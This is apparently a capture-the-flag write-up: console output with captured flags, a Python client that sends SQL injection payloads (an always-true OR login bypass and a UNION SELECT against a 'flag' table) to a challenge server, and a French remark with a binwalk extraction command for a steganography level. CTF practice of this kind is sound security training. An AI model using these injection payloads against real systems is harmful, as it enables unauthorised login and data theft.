root@kali:~/Downloads# python client.py [+] Test level1 … Welcome on level 1 !

Welcome b'admin” OR “1”=“1', the flag is 'ESE{n0T_S0_H4rd_R1gHt_!?}'

[+] Test level2 … Welcome on level 2 !

Citation #123 union SELECT * fROM flag: ESE{7d2f9e9beab248febaf5bddffc3a39a4}

Code source : client.py

client.py

#encoding: utf-8
 
import socket
import sys
 
# change this if needed
HOST = '192.168.1.19'
# change this if needed
IP   = 8096
 
 
def create_socket():
        try:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.settimeout(1)
                s.connect((HOST,IP))
        except Exception as e:
                print("Can't open socket !")
                print(e)
                sys.exit(1)
        return s
 
 
def test_level1():
        print("[+] Test level1 ...")
        s = create_socket()
 
        login = 'admin" OR "1"="1'
        password = 'toto" OR "1"="1"  LIMIT "1" OFFSET "2' 
        cmd = "\x01%s\x00%s" % (login,password)
        s.send(cmd.encode('utf-8'))
        msg = s.recv(1024)
 
 
 
        if msg and msg.decode('utf-8').startswith("Welcome"):
                print(msg.decode('utf-8'))
                res = s.recv(1024)
                print(res.decode('utf-8'))
        else:
                print("If you called a valid level, notice an admin")
        s.close()
 
def test_level2():
        print("[+] Test level2 ...")
        s = create_socket()
 
        citation = '123 union SELECT * fROM flag'
        s.send(b"\x02%s" % (citation))
        msg = s.recv(1024)
        if msg and msg.decode('utf-8').startswith("Welcome"):
                print(msg.decode('utf-8'))
                res = s.recv(1024)
                print(res.decode('utf-8'))
        else:
                print("If you called a valid level, notice an admin")
        s.close()
 
 
 
if __name__ == '__main__':
        test_level1()
        print("")
        test_level2()

Il falait trouver un fichier caché dans une image. Juste rentrer ca :p et on avait le flag

binwalk –dd='.*' special-k.png